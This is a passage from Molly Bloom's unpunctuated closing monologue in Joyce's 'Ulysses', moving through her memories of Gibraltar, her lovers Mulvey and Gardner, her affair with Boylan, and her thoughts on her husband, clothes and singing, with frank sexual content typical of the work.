say no for form sake dont +understand you I said and wasnt it natural so it is of course it used to +be written up with a picture of a womans on that wall in Gibraltar with +that word I couldnt find anywhere only for children seeing it too young +then writing every morning a letter sometimes twice a day I liked the way +he made love then he knew the way to take a woman when he sent me the 8 +big poppies because mine was the 8th then I wrote the night he kissed my +heart at Dolphins barn I couldnt describe it simply it makes you feel +like nothing on earth but he never knew how to embrace well like Gardner +I hope hell come on Monday as he said at the same time four I hate people +who come at all hours answer the door you think its the vegetables then +its somebody and you all undressed or the door of the filthy sloppy +kitchen blows open the day old frostyface Goodwin called about the +concert in Lombard street and I just after dinner all flushed and tossed +with boiling old stew dont look at me professor I had to say Im a fright +yes but he was a real old gent in his way it was impossible to be more +respectful nobody to say youre out you have to peep out through the blind +like the messengerboy today I thought it was a putoff first him sending +the port and the peaches first and I was just beginning to yawn with +nerves thinking he was trying to make a fool of me when I knew his +tattarrattat at the door he must have been a bit late because it was l/4 +after 3 when I saw the 2 Dedalus girls coming from school I never know +the time even that watch he gave me never seems to go properly Id want to +get it looked after when I threw the penny to that lame sailor for +England home and beauty when I was whistling there is a charming girl I +love and I hadnt even put on my clean shift or powdered myself or a thing +then this day week were to go to Belfast just as well he has to go to +Ennis his fathers anniversary the 27th it wouldnt be pleasant if he did +suppose our rooms at the hotel were beside each other and any fooling +went on in the new bed I couldnt tell him to stop and not bother me with +him in the next room or perhaps some protestant clergyman with a cough +knocking on the wall then hed never believe the next day we didnt do +something its all very well a husband but you cant fool a lover after me +telling him we never did anything of course he didnt believe me no its +better hes going where he is besides something always happens with him +the time going to the Mallow concert at Maryborough ordering boiling soup +for the two of us then the bell rang out he walks down the platform with +the soup splashing about taking spoonfuls of it hadnt he the nerve and +the waiter after him making a holy show of us screeching and confusion +for the engine to start but he wouldnt pay till he finished it the two +gentlemen in the 3rd class carriage said he was quite right so he was too +hes so pigheaded sometimes when he gets a thing into his head a good job +he was able to open the carriage door with his knife or theyd have taken +us on to Cork I suppose that was done out of revenge on him O I love +jaunting in a train or a car with lovely soft cushions I wonder will he +take a 1st class for me he might want to do it in the train by tipping +the guard well O I suppose therell be the usual idiots of men gaping at +us with their eyes as stupid as ever they can possibly be that was an +exceptional man that common workman that left us alone in the carriage +that day going to Howth Id like to find out something about him l or 2 +tunnels perhaps then you have to look out of the window all the nicer +then coming back suppose I never came back what would they say eloped +with him that gets you on on the stage the last concert I sang at where +its over a year ago when was it St Teresas hall Clarendon St little chits +of missies they have now singing Kathleen Kearney and her like on account +of father being in the army and my singing the absentminded beggar and +wearing a brooch for Lord Roberts when I had the map of it all and Poldy +not Irish enough was it him managed it this time I wouldnt put it past +him like he got me on to sing in the STABAT MATER by going around saying +he was putting Lead Kindly Light to music I put him up to that till the +jesuits found out he was a freemason thumping the piano lead Thou me on +copied from some old opera yes and he was going about with some of them +Sinner Fein lately or whatever they call themselves talking his usual +trash and nonsense he says that little man he showed me without the neck +is very intelligent the coming man Griffiths is he well he doesnt look it +thats all I can say still it must have been him he knew there was a +boycott I hate the mention of their politics after the war that Pretoria +and Ladysmith and Bloemfontein where Gardner lieut Stanley G 8th Bn 2nd +East Lancs Rgt of enteric fever he was a lovely fellow in khaki and just +the right height over me Im sure he was brave too he said I was lovely +the evening we kissed goodbye at the canal lock my Irish beauty he was +pale with excitement about going away or wed be seen from the road he +couldnt stand properly and I so hot as I never felt they could have made +their peace in the beginning or old oom Paul and the rest of the other +old Krugers go and fight it out between them instead of dragging on for +years killing any finelooking men there were with their fever if he was +even decently shot it wouldnt have been so bad I love to see a regiment +pass in review the first time I saw the Spanish cavalry at La Roque it +was lovely after looking across the bay from Algeciras all the lights of +the rock like fireflies or those sham battles on the 15 acres the Black +Watch with their kilts in time at the march past the 10th hussars the +prince of Wales own or the lancers O the lancers theyre grand or the +Dublins that won Tugela his father made his money over selling the horses +for the cavalry well he could buy me a nice present up in Belfast after +what I gave him theyve lovely linen up there or one of those nice kimono +things I must buy a mothball like I had before to keep in the drawer with +them it would be exciting going round with him shopping buying those +things in a new city better leave this ring behind want to keep turning +and turning to get it over the knuckle there or they might bell it round +the town in their papers or tell the police on me but theyd think were +married O let them all go and smother themselves for the fat lot I care +he has plenty of money and hes not a marrying man so somebody better get +it out of him if I could find out whether he likes me I looked a bit +washy of course when I looked close in the handglass powdering a mirror +never gives you the expression besides scrooching down on me like that +all the time with his big hipbones hes heavy too with his hairy chest for +this heat always having to lie down for them better for him put it into +me from behind the way Mrs Mastiansky told me her husband made her like +the dogs do it and stick out her tongue as far as ever she could and he +so quiet and mild with his tingating cither can you ever be up to men the +way it takes them lovely stuff in that blue suit he had on and stylish +tie and socks with the skyblue silk things on them hes certainly well off +I know by the cut his clothes have and his heavy watch but he was like a +perfect devil for a few minutes after he came back with the stoppress +tearing up the tickets and swearing blazes because he lost 20 quid he +said he lost over that outsider that won and half he put on for me on +account of Lenehans tip cursing him to the lowest pits that sponger he +was making free with me after the Glencree dinner coming back that long +joult over the featherbed mountain after the lord Mayor looking at me +with his dirty eyes Val Dillon that big heathen I first noticed him at +dessert when I was cracking the nuts with my teeth I wished I could have +picked every morsel of that chicken out of my fingers it was so tasty and +browned and as tender as anything only for I didnt want to eat everything +on my plate those forks and fishslicers were hallmarked silver too I wish +I had some I could easily have slipped a couple into my muff when I was +playing with them then always hanging out of them for money in a +restaurant for the bit you put down your throat we have to be thankful +for our mangy cup of tea itself as a great compliment to be noticed the +way the world is divided in any case if its going to go on I want at +least two other good chemises for one thing and but I dont know what kind +of drawers he likes none at all I think didnt he say yes and half the +girls in Gibraltar never wore them either naked as God made them that +Andalusian singing her Manola she didnt make much secret of what she +hadnt yes and the second pair of silkette stockings is laddered after one +days wear I could have brought them back to Lewers this morning and +kicked up a row and made that one change them only not to upset myself +and run the risk of walking into him and ruining the whole thing and one +of those kidfitting corsets Id want advertised cheap in the Gentlewoman +with elastic gores on the hips he saved the one I have but thats no good +what did they say they give a delightful figure line 11/6 obviating that +unsightly broad appearance across the lower back to reduce flesh my belly +is a bit too big Ill have to knock off the stout at dinner or am I +getting too fond of it the last they sent from ORourkes was as flat as a +pancake he makes his money easy Larry they call him the old mangy parcel +he sent at Xmas a cottage cake and a bottle of hogwash he tried to palm +off as claret that he couldnt get anyone to drink God spare his spit for +fear hed die of the drouth or I must do a few breathing exercises I +wonder is that antifat any good might overdo it the thin ones are not so +much the fashion now garters that much I have the violet pair I wore +today thats all he bought me out of the cheque he got on the first O no +there was the face lotion I finished the last of yesterday that made my +skin like new I told him over and over again get that made up in the same +place and dont forget it God only knows whether he did after all I said +to him Ill know by the bottle anyway if not I suppose Ill only have to +wash in my piss like beeftea or chickensoup with some of that opoponax +and violet I thought it was beginning to look coarse or old a bit the +skin underneath is much finer where it peeled off there on my finger +after the burn its a pity it isnt all like that and the four paltry +handkerchiefs about 6/- in all sure you cant get on in this world without +style all going in food and rent when I get it Ill lash it around I tell +you in fine style I always want to throw a handful of tea into the pot +measuring and mincing if I buy a pair of old brogues itself do you like +those new shoes yes how much were they Ive no clothes at all the brown +costume and the skirt and jacket and the one at the cleaners 3 whats that +for any woman cutting up this old hat and patching up the other the men +wont look at you and women try to walk on you because they know youve no +man then with all the things getting dearer every day for the 4 years +more I have of life up to 35 no Im what am I at all Ill be 33 in +September will I what O well look at that Mrs Galbraith shes much older +than me I saw her when I was out last week her beautys on the wane she +was a lovely woman magnificent head of hair on her down to her waist +tossing it back like that like Kitty OShea in Grantham street 1st thing I +did every morning to look across see her combing it as if she loved it +and was full of it pity I only got to know her the day before we left and +that Mrs Langtry the jersey lily the prince of Wales was in love with I +suppose hes like the first man going the roads only for the name of a +king theyre all made the one way only a black mans Id like to try a +beauty up to what was she 45 there was some funny story about the jealous +old husband what was it at all and an oyster knife he went no he made her +wear a kind of a tin thing round her and the prince of Wales yes he had +the oyster knife cant be true a thing like that like some of those books +he brings me the works of Master Francois Somebody supposed to be a +priest about a child born out of her ear because her bumgut fell out a +nice word for any priest to write and her a--e as if any fool wouldnt +know what that meant I hate that pretending of all things with that old +blackguards face on him anybody can see its not true and that Ruby and +Fair Tyrants he brought me that twice I remember when I came to page 50 +the part about where she hangs him up out of a hook with a cord +flagellate sure theres nothing for a woman in that all invention made up +about he drinking the champagne out of her slipper after the ball was +over like the infant Jesus in the crib at Inchicore in the Blessed +Virgins arms sure no woman could have a child that big taken out of her +and I thought first it came out of her side because how could she go to +the chamber when she wanted to and she a rich lady of course she felt +honoured H R H he was in Gibraltar the year I was born I bet he found +lilies there too where he planted the tree he planted more than that in +his time he might have planted me too if hed come a bit sooner then I +wouldnt be here as I am he ought to chuck that Freeman with the paltry +few shillings he knocks out of it and go into an office or something +where hed get regular pay or a bank where they could put him up on a +throne to count the money all the day of course he prefers plottering +about the house so you cant stir with him any side whats your programme +today I wish hed even smoke a pipe like father to get the smell of a man +or pretending to be mooching about for advertisements when he could have +been in Mr Cuffes still only for what he did then sending me to try and +patch it up I could have got him promoted there to be the manager he gave +me a great mirada once or twice first he was as stiff as the mischief +really and truly Mrs Bloom only I felt rotten simply with the old +rubbishy dress that I lost the leads out of the tails with no cut in it +but theyre coming into fashion again I bought it simply to please him I +knew it was no good by the finish pity I changed my mind of going to Todd +and Bums as I said and not Lees it was just like the shop itself rummage +sale a lot of trash I hate those rich shops get on your nerves nothing +kills me altogether only he thinks he knows a great lot about a womans +dress and cooking mathering everything he can scour off the shelves into +it if I went by his advices every blessed hat I put on does that suit me +yes take that thats alright the one like a weddingcake standing up miles +off my head he said suited me or the dishcover one coming down on my +backside on pins and needles about the shopgirl in that place in Grafton +street I had the misfortune to bring him into and she as insolent as ever +she could be with her smirk saying Im afraid were giving you too much +trouble what shes there for but I stared it out of her yes he was awfully +stiff and no wonder but he changed the second time he looked Poldy +pigheaded as usual like the soup but I could see him looking very hard at +my chest when he stood up to open the door for me it was nice of him to +show me out in any case Im extremely sorry Mrs Bloom believe me without +making it too marked the first time after him being insulted and me being +supposed to be his wife I just half smiled I know my chest was out that +way at the door when he said Im extremely sorry and Im sure you were + +yes I think he made them a bit firmer sucking them like that so long he +made me thirsty titties he calls them I had to laugh yes this one anyhow +stiff the nipple gets for the least thing Ill get him to keep that up and +Ill take those eggs beaten up with marsala fatten them out for him what +are all those veins and things curious the way its made 2 the same in +case of twins theyre supposed to represent beauty placed up there like +those statues in the museum one of them pretending to hide it with her +hand are they so beautiful of course compared with what a man looks like +with his two bags full and his other thing hanging down out of him or +sticking up at you like a hatrack no wonder they hide it with a +cabbageleaf that disgusting Cameron highlander behind the meat market or +that other wretch with the red head behind the tree where the statue of +the fish used to be when I was passing pretending he was pissing standing +out for me to see it with his babyclothes up to one side the Queens own +they were a nice lot its well the Surreys relieved them theyre always +trying to show it to you every time nearly I passed outside the mens +greenhouse near the Harcourt street station just to try some fellow or +other trying to catch my eye as if it was I of the 7 wonders of the world +O and the stink of those rotten places the night coming home with Poldy +after the Comerfords party oranges and lemonade to make you feel nice and +watery I went into r of them it was so biting cold I couldnt keep it when +was that 93 the canal was frozen yes it was a few months after a pity a +couple of the Camerons werent there to see me squatting in the mens place +meadero I tried to draw a picture of it before I tore it up like a +sausage or something I wonder theyre not afraid going about of getting a +kick or a bang of something there the woman is beauty of course thats +admitted when he said I could pose for a picture naked to some rich +fellow in Holles street when he lost the job in Helys and I was selling +the clothes and strumming in the coffee palace would I be like that bath +of the nymph with my hair down yes only shes younger or Im a little like +that dirty bitch in that Spanish photo he has nymphs used they go about +like that I asked him about her and that word met something with hoses in +it and he came out with some jawbreakers about the incarnation he never +can explain a thing simply the way a body can understand then he goes and +burns the bottom out of the pan all for his Kidney this one not so much +theres the mark of his teeth still where he tried to bite the nipple I +had to scream out arent they fearful trying to hurt you I had a great +breast of milk with Milly enough for two what was the reason of that he +said I could have got a pound a week as a wet nurse all swelled out the +morning that delicate looking student that stopped in no 28 with the +Citrons Penrose nearly caught me washing through the window only for I +snapped up the towel to my face that was his studenting hurt me they used +to weaning her till he got doctor Brady to give me the belladonna +prescription I had to get him to suck them they were so hard he said it +was sweeter and thicker than cows then he wanted to milk me into the tea +well hes beyond everything I declare somebody ought to put him in the +budget if I only could remember the I half of the things and write a book +out of it the works of Master Poldy yes and its so much smoother the skin +much an hour he was at them Im sure by the clock like some kind of a big +infant I had at me they want everything in their mouth all the pleasure +those men get out of a woman I can feel his mouth O Lord I must stretch +myself I wished he was here or somebody to let myself go with and come +again like that I feel all fire inside me or if I could dream it when he +made me spend the 2nd time tickling me behind with his finger I was +coming for about 5 minutes with my legs round him I had to hug him after +O Lord I wanted to shout out all sorts of things fuck or shit or anything +at all only not to look ugly or those lines from the strain who knows the +way hed take it you want to feel your way with a man theyre not all like +him thank God some of them want you to be so nice about it I noticed the +contrast he does it and doesnt talk I gave my eyes that look with my hair +a bit loose from the tumbling and my tongue between my lips up to him the +savage brute Thursday Friday one Saturday two Sunday three O Lord I cant +wait till Monday + +frseeeeeeeefronnnng train somewhere whistling the strength those engines +have in them like big giants and the water rolling all over and out of +them all sides like the end of Loves old sweeeetsonnnng the poor men that +have to be out all the night from their wives and families in those +roasting engines stifling it was today Im glad I burned the half of those +old Freemans and Photo Bits leaving things like that lying about hes +getting very careless and threw the rest of them up in the W C Ill get +him to cut them tomorrow for me instead of having them there for the next +year to get a few pence for them have him asking wheres last Januarys +paper and all those old overcoats I bundled out of the hall making the +place hotter than it is that rain was lovely and refreshing just after my +beauty sleep I thought it was going to get like Gibraltar my goodness the +heat there before the levanter came on black as night and the glare of +the rock standing up in it like a big giant compared with their 3 Rock +mountain they think is so great with the red sentries here and there the +poplars and they all whitehot and the smell of the rainwater in those +tanks watching the sun all the time weltering down on you faded all that +lovely frock fathers friend Mrs Stanhope sent me from the B Marche paris +what a shame my dearest Doggerina she wrote on it she was very nice whats +this her other name was just a p c to tell you I sent the little present +have just had a jolly warm bath and feel a very clean dog now enjoyed it +wogger she called him wogger wd give anything to be back in Gib and hear +you sing Waiting and in old Madrid Concone is the name of those exercises +he bought me one of those new some word I couldnt make out shawls amusing +things but tear for the least thing still there lovely I think dont you +will always think of the lovely teas we had together scrumptious currant +scones and raspberry wafers I adore well now dearest Doggerina be sure +and write soon kind she left out regards to your father also captain +Grove with love yrs affly Hester x x x x x she didnt look a bit married +just like a girl he was years older than her wogger he was awfully fond +of me when he held down the wire with his foot for me to step over at the +bullfight at La Linea when that matador Gomez was given the bulls ear +these clothes we have to wear whoever invented them expecting you to walk +up Killiney hill then for example at that picnic all staysed up you cant +do a blessed thing in them in a crowd run or jump out of the way thats +why I was afraid when that other ferocious old Bull began to charge the +banderilleros with the sashes and the 2 things in their hats and the +brutes of men shouting bravo toro sure the women were as bad in their +nice white mantillas ripping all the whole insides out of those poor +horses I never heard of such a thing in all my life yes he used to break +his heart at me taking off the dog barking in bell lane poor brute and it +sick what became of them ever I suppose theyre dead long ago the 2 of +them its like all through a mist makes you feel so old I made the scones +of course I had everything all to myself then a girl Hester we used to +compare our hair mine was thicker than hers she showed me how to settle +it at the back when I put it up and whats this else how to make a knot on +a thread with the one hand we were like cousins what age was I then the +night of the storm I slept in her bed she had her arms round me then we +were fighting in the morning with the pillow what fun he was watching me +whenever he got an opportunity at the band on the Alameda esplanade when +I was with father and captain Grove I looked up at the church first and +then at the windows then down and our eyes met I felt something go +through me like all needles my eyes were dancing I remember after when I +looked at myself in the glass hardly recognised myself the change he was +attractive to a girl in spite of his being a little bald intelligent +looking disappointed and gay at the same time he was like Thomas in the +shadow of Ashlydyat I had a splendid skin from the sun and the excitement +like a rose I didnt get a wink of sleep it wouldnt have been nice on +account of her but I could have stopped it in time she gave me the +Moonstone to read that was the first I read of Wilkie Collins East Lynne +I read and the shadow of Ashlydyat Mrs Henry Wood Henry Dunbar by that +other woman I lent him afterwards with Mulveys photo in it so as he see I +wasnt without and Lord Lytton Eugene Aram Molly bawn she gave me by Mrs +Hungerford on account of the name I dont like books with a Molly in them +like that one he brought me about the one from Flanders a whore always +shoplifting anything she could cloth and stuff and yards of it O this +blanket is too heavy on me thats better I havent even one decent +nightdress this thing gets all rolled under me besides him and his +fooling thats better I used to be weltering then in the heat my shift +drenched with the sweat stuck in the cheeks of my bottom on the chair +when I stood up they were so fattish and firm when I got up on the sofa +cushions to see with my clothes up and the bugs tons of them at night and +the mosquito nets I couldnt read a line Lord how long ago it seems +centuries of course they never came back and she didnt put her address +right on it either she may have noticed her wogger people were always +going away and we never I remember that day with the waves and the boats +with their high heads rocking and the smell of ship those Officers +uniforms on shore leave made me seasick he didnt say anything he was very +serious I had the high buttoned boots on and my skirt was blowing she +kissed me six or seven times didnt I cry yes I believe I did or near it +my lips were taittering when I said goodbye she had a Gorgeous wrap of +some special kind of blue colour on her for the voyage made very +peculiarly to one side like and it was extremely pretty it got as dull as +the devil after they went I was almost planning to run away mad out of it +somewhere were never easy where we are father or aunt or marriage waiting +always waiting to guiiiide him toooo me waiting nor speeeed his flying +feet their damn guns bursting and booming all over the shop especially +the Queens birthday and throwing everything down in all directions if you +didnt open the windows when general Ulysses Grant whoever he was or did +supposed to be some great fellow landed off the ship and old Sprague the +consul that was there from before the flood dressed up poor man and he in +mourning for the son then the same old bugles for reveille in the morning +and drums rolling and the unfortunate poor devils of soldiers walking +about with messtins smelling the place more than the old longbearded jews +in their jellibees and levites assembly and sound clear and gunfire for +the men to cross the lines and the warden marching with his keys to lock +the gates and the bagpipes and only captain Groves and father talking +about Rorkes drift and Plevna and sir Garnet Wolseley and Gordon at +Khartoum lighting their pipes for them everytime they went out drunken +old devil with his grog on the windowsill catch him leaving any of it +picking his nose trying to think of some other dirty story to tell up in +a corner but he never forgot himself when I was there sending me out of +the room on some blind excuse paying his compliments the Bushmills whisky +talking of course but hed do the same to the next woman that came along I +suppose he died of galloping drink ages ago the days like years not a +letter from a living soul except the odd few I posted to myself with bits +of paper in them so bored sometimes I could fight with my nails listening +to that old Arab with the one eye and his heass of an instrument singing +his heah heah aheah all my compriments on your hotchapotch of your heass +as bad as now with the hands hanging off me looking out of the window if +there was a nice fellow even in the opposite house that medical in Holles +street the nurse was after when I put on my gloves and hat at the window +to show I was going out not a notion what I meant arent they thick never +understand what you say even youd want to print it up on a big poster for +them not even if you shake hands twice with the left he didnt recognise +me either when I half frowned at him outside Westland row chapel where +does their great intelligence come in Id like to know grey matter they +have it all in their tail if you ask me those country gougers up in the +City Arms intelligence they had a damn sight less than the bulls and cows +they were selling the meat and the coalmans bell that noisy bugger trying +to swindle me with the wrong bill he took out of his hat what a pair of +paws and pots and pans and kettles to mend any broken bottles for a poor +man today and no visitors or post ever except his cheques or some +advertisement like that wonderworker they sent him addressed dear Madam +only his letter and the card from Milly this morning see she wrote a +letter to him who did I get the last letter from O Mrs Dwenn now what +possessed her to write from Canada after so many years to know the recipe +I had for pisto madrileno Floey Dillon since she wrote to say she was +married to a very rich architect if Im to believe all I hear with a villa +and eight rooms her father was an awfully nice man he was near seventy +always goodhumoured well now Miss Tweedy or Miss Gillespie theres the +piannyer that was a solid silver coffee service he had too on the +mahogany sideboard then dying so far away I hate people that have always +their poor story to tell everybody has their own troubles that poor Nancy +Blake died a month ago of acute neumonia well I didnt know her so well as +all that she was Floeys friend more than mine poor Nancy its a bother +having to answer he always tells me the wrong things and no stops to say +like making a speech your sad bereavement symphathy I always make that +mistake and newphew with 2 double yous in I hope hell write me a longer +letter the next time if its a thing he really likes me O thanks be to the +great God I got somebody to give me what I badly wanted to put some heart +up into me youve no chances at all in this place like you used long ago I +wish somebody would write me a loveletter his wasnt much and I told him +he could write what he liked yours ever Hugh Boylan in old Madrid stuff +silly women believe love is sighing I am dying still if he wrote it I +suppose thered be some truth in it true or no it fills up your whole day +and life always something to think about every moment and see it all +round you like a new world I could write the answer in bed to let him +imagine me short just a few words not those long crossed letters Atty +Dillon used to write to the fellow that was something in the four courts +that jilted her after out of the ladies letterwriter when I told her to +say a few simple words he could twist how he liked not acting with +precipat precip itancy with equal candour the greatest earthly happiness +answer to a gentlemans proposal affirmatively my goodness theres nothing +else its all very fine for them but as for being a woman as soon as youre +old they might as well throw you out in the bottom of the ashpit. + +Mulveys was the first when I was in bed that morning and Mrs Rubio +brought it in with the coffee she stood there standing when I asked her +to hand me and I pointing at them I couldnt think of the word a hairpin +to open it with ah horquilla disobliging old thing and it staring her in +the face with her switch of false hair on her and vain about her +appearance ugly as she was near 80 or a 100 her face a mass of wrinkles +with all her religion domineering because she never could get over the +Atlantic fleet coming in half the ships of the world and the Union Jack +flying with all her carabineros because 4 drunken English sailors took +all the rock from them and because I didnt run into mass often enough in +Santa Maria to please her with her shawl up on her except when there was +a marriage on with all her miracles of the saints and her black blessed +virgin with the silver dress and the sun dancing 3 times on Easter Sunday +morning and when the priest was going by with the bell bringing the +vatican to the dying blessing herself for his Majestad an admirer he +signed it I near jumped out of my skin I wanted to pick him up when I saw +him following me along the Calle Real in the shop window then he tipped +me just in passing but I never thought hed write making an appointment I +had it inside my petticoat bodice all day reading it up in every hole and +corner while father was up at the drill instructing to find out by the +handwriting or the language of stamps singing I remember shall I wear a +white rose and I wanted to put on the old stupid clock to near the time +he was the first man kissed me under the Moorish wall my sweetheart when +a boy it never entered my head what kissing meant till he put his tongue +in my mouth his mouth was sweetlike young I put my knee up to him a few +times to learn the way what did I tell him I was engaged for for fun to +the son of a Spanish nobleman named Don Miguel de la Flora and he +believed me that I was to be married to him in 3 years time theres many a +true word spoken in jest there is a flower that bloometh a few things I +told him true about myself just for him to be imagining the Spanish girls +he didnt like I suppose one of them wouldnt have him I got him excited he +crushed all the flowers on my bosom he brought me he couldnt count the +pesetas and the perragordas till I taught him Cappoquin he came from he +said on the black water but it was too short then the day before he left +May yes it was May when the infant king of Spain was born Im always like +that in the spring Id like a new fellow every year up on the tiptop under +the rockgun near OHaras tower I told him it was struck by lightning and +all about the old Barbary apes they sent to Clapham without a tail +careering all over the show on each others back Mrs Rubio said she was a +regular old rock scorpion robbing the chickens out of Inces farm and +throw stones at you if you went anear he was looking at me I had that +white blouse on open in the front to encourage him as much as I could +without too openly they were just beginning to be plump I said I was +tired we lay over the firtree cove a wild place I suppose it must be the +highest rock in existence the galleries and casemates and those frightful +rocks and Saint Michaels cave with the icicles or whatever they call them +hanging down and ladders all the mud plotching my boots Im sure thats the +way down the monkeys go under the sea to Africa when they die the ships +out far like chips that was the Malta boat passing yes the sea and the +sky you could do what you liked lie there for ever he caressed them +outside they love doing that its the roundness there I was leaning over +him with my white ricestraw hat to take the newness out of it the left +side of my face the best my blouse open for his last day transparent kind +of shirt he had I could see his chest pink he wanted to touch mine with +his for a moment but I wouldnt lee him he was awfully put out first for +fear you never know consumption or leave me with a child embarazada that +old servant Ines told me that one drop even if it got into you at all +after I tried with the Banana but I was afraid it might break and get +lost up in me somewhere because they once took something down out of a +woman that was up there for years covered with limesalts theyre all mad +to get in there where they come out of youd think they could never go far +enough up and then theyre done with you in a way till the next time yes +because theres a wonderful feeling there so tender all the time how did +we finish it off yes O yes I pulled him off into my handkerchief +pretending not to be excited but I opened my legs I wouldnt let him touch +me inside my petticoat because I had a skirt opening up the side I +tormented the life out of him first tickling him I loved rousing that dog +in the hotel rrrsssstt awokwokawok his eyes shut and a bird flying below +us he was shy all the same I liked him like that moaning I made him blush +a little when I got over him that way when I unbuttoned him and took his +out and drew back the skin it had a kind of eye in it theyre all Buttons +men down the middle on the wrong side of them Molly darling he called me +what was his name Jack Joe Harry Mulvey was it yes I think a lieutenant +he was rather fair he had a laughing kind of a voice so I went round to +the whatyoucallit everything was whatyoucallit moustache had he he said +hed come back Lord its just like yesterday to me and if I was married hed +do it to me and I promised him yes faithfully Id let him block me now +flying perhaps hes dead or killed or a captain or admiral its nearly 20 +years if I said firtree cove he would if he came up behind me and put his +hands over my eyes to guess who I might recognise him hes young still +about 40 perhaps hes married some girl on the black water and is quite +changed they all do they havent half the character a woman has she little +knows what I did with her beloved husband before he ever dreamt of her in +broad daylight too in the sight of the whole world you might say they +could have put an article about it in the Chronicle I was a bit wild +after when I blew out the old bag the biscuits were in from Benady Bros +and exploded it Lord what a bang all the woodcocks and pigeons screaming +coming back the same way that we went over middle hill round by the old +guardhouse and the jews burialplace pretending to read out the Hebrew on +them I wanted to fire his pistol he said he hadnt one he didnt know what +to make of me with his peak cap on that he always wore crooked as often +as I settled it straight H M S Calypso swinging my hat that old Bishop +that spoke off the altar his long preach about womans higher functions +about girls now riding the bicycle and wearing peak caps and the new +woman bloomers God send him sense and me more money I suppose theyre +called after him I never thought that would be my name Bloom when I used +to write it in print to see how it looked on a visiting card or +practising for the butcher and oblige M Bloom youre looking blooming +Josie used to say after I married him well its better than Breen or +Briggs does brig or those awful names with bottom in them Mrs Ramsbottom +or some other kind of a bottom Mulvey I wouldnt go mad about either or +suppose I divorced him Mrs Boylan my mother whoever she was might have +given me a nicer name the Lord knows after the lovely one she had Lunita +Laredo the fun we had running along Williss road to Europa point twisting +in and out all round the other side of Jersey they were shaking and +dancing about in my blouse like Millys little ones now when she runs up +the stairs I loved looking down at them I was jumping up at the pepper +trees and the white poplars pulling the leaves off and throwing them at +him he went to India he was to write the voyages those men have to make +to the ends of the world and back its the least they might get a squeeze +or two at a woman while they can going out to be drowned or blown up +somewhere I went up Windmill hill to the flats that Sunday morning with +captain Rubios that was dead spyglass like the sentry had he said hed +have one or two from on board I wore that frock from the B Marche paris +and the coral necklace the straits shining I could see over to Morocco +almost the bay of Tangier white and the Atlas mountain with snow on it +and the straits like a river so clear Harry Molly darling I was thinking +of him on the sea all the time after at mass when my petticoat began to +slip down at the elevation weeks and weeks I kept the handkerchief under +my pillow for the smell of him there was no decent perfume to be got in +that Gibraltar only that cheap peau despagne that faded and left a stink +on you more than anything else I wanted to give him a memento he gave me +that clumsy Claddagh ring for luck that I gave Gardner going to south +Africa where those Boers killed him with their war and fever but they +were well beaten all the same as if it brought its bad luck with it like +an opal or pearl still it must have been pure 18 carrot gold because it +was very heavy but what could you get in a place like that the sandfrog +shower from Africa and that derelict ship that came up to the harbour +Marie the Marie whatyoucallit no he hadnt a moustache that was Gardner +yes I can see his face cleanshaven Frseeeeeeeeeeeeeeeeeeeefrong that +train again weeping tone once in the dear deaead days beyondre call close +my eyes breath my lips forward kiss sad look eyes open piano ere oer the +world the mists began I hate that istsbeg comes loves sweet +sooooooooooong Ill let that out full when I get in front of the +footlights again Kathleen Kearney and her lot of squealers Miss This Miss +That Miss Theother lot of sparrowfarts skitting around talking about +politics they know as much about as my backside anything in the world to +make themselves someway interesting Irish homemade beauties soldiers +daughter am I ay and whose are you bootmakers and publicans I beg your +pardon coach I thought you were a wheelbarrow theyd die down dead off +their feet if ever they got a chance of walking down the Alameda on an +officers arm like me on the bandnight my eyes flash my bust that they +havent passion God help their poor head I knew more about men and life +when I was I S than theyll all know at 50 they dont know how to sing a +song like that Gardner said no man could look at my mouth and teeth +smiling like that and not think of it I was afraid he mightnt like my +accent first he so English all father left me in spite of his stamps Ive +my mothers eyes and figure anyhow he always said theyre so snotty about +themselves some of those cads he wasnt a bit like that he was dead gone +on my lips let them get a husband first thats fit to be looked at and a +daughter like mine or see if they can excite a swell with money that can +pick and choose whoever he wants like Boylan to do it 4 or 5 times locked +in each others arms or the voice either I could have been a prima donna +only I married him comes looooves old deep down chin back not too much +make it double My Ladys Bower is too long for an encore about the moated +grange at twilight and vaunted rooms yes Ill sing Winds that blow from +the south that he gave after the choirstairs performance Ill change that +lace on my black dress to show off my bubs and Ill yes by God Ill get +that big fan mended make them burst with envy my hole is itching me +always when I think of him I feel I want to I feel some wind in me better +go easy not wake him have him at it again slobbering after washing every +bit of myself back belly and sides if we had even a bath itself or my own +room anyway I wish hed sleep in some bed by himself with his cold feet on +me give us room even to let a fart God or do the least thing better yes +hold them like that a bit on my side piano quietly sweeeee theres that +train far away pianissimo eeeee one more song + +that was a relief wherever you be let your wind go free who knows if that +pork chop I took with my cup of tea after was quite good with the heat I +couldnt smell anything off it Im sure that queerlooking man in the +porkbutchers is a great rogue I hope that lamp is not smoking fill my +nose up with smuts better than having him leaving the gas on all night I +couldnt rest easy in my bed in Gibraltar even getting up to see why am I +so damned nervous about that though I like it in the winter its more +company O Lord it was rotten cold too that winter when I was only about +ten was I yes I had the big doll with all the funny clothes dressing her +up and undressing that icy wind skeeting across from those mountains the +something Nevada sierra nevada standing at the fire with the little bit +of a short shift I had up to heat myself I loved dancing about in it then +make a race back into bed Im sure that fellow opposite used to be there +the whole time watching with the lights out in the summer and I in my +skin hopping around I used to love myself then stripped at the washstand +dabbing and creaming only when it came to the chamber performance I put +out the light too so then there were 2 of us goodbye to my sleep for this +night anyhow I hope hes not going to get in with those medicals leading +him astray to imagine hes young again coming in at 4 in the morning it +must be if not more still he had the manners not to wake me what do they +find to gabber about all night squandering money and getting drunker and +drunker couldnt they drink water then he starts giving us his orders for +eggs and tea and Findon haddy and hot buttered toast I suppose well have +him sitting up like the king of the country pumping the wrong end of the +spoon up and down in his egg wherever he learned that from and I love to +hear him falling up the stairs of a morning with the cups rattling on the +tray and then play with the cat she rubs up against you for her own sake +I wonder has she fleas shes as bad as a woman always licking and lecking +but I hate their claws I wonder do they see anything that we cant staring +like that when she sits at the top of the stairs so long and listening as +I wait always what a robber too that lovely fresh place I bought I think +Ill get a bit of fish tomorrow or today is it Friday yes I will with some +blancmange with black currant jam like long ago not those 2 lb pots of +mixed plum and apple from the London and Newcastle Williams and Woods +goes twice as far only for the bones I hate those eels cod yes Ill get a +nice piece of cod Im always getting enough for 3 forgetting anyway Im +sick of that everlasting butchers meat from Buckleys loin chops and leg +beef and rib steak and scrag of mutton and calfs pluck the very name is +enough or a picnic suppose we all gave 5/- each and or let him pay it and +invite some other woman for him who Mrs Fleming and drove out to the +furry glen or the strawberry beds wed have him examining all the horses +toenails first like he does with the letters 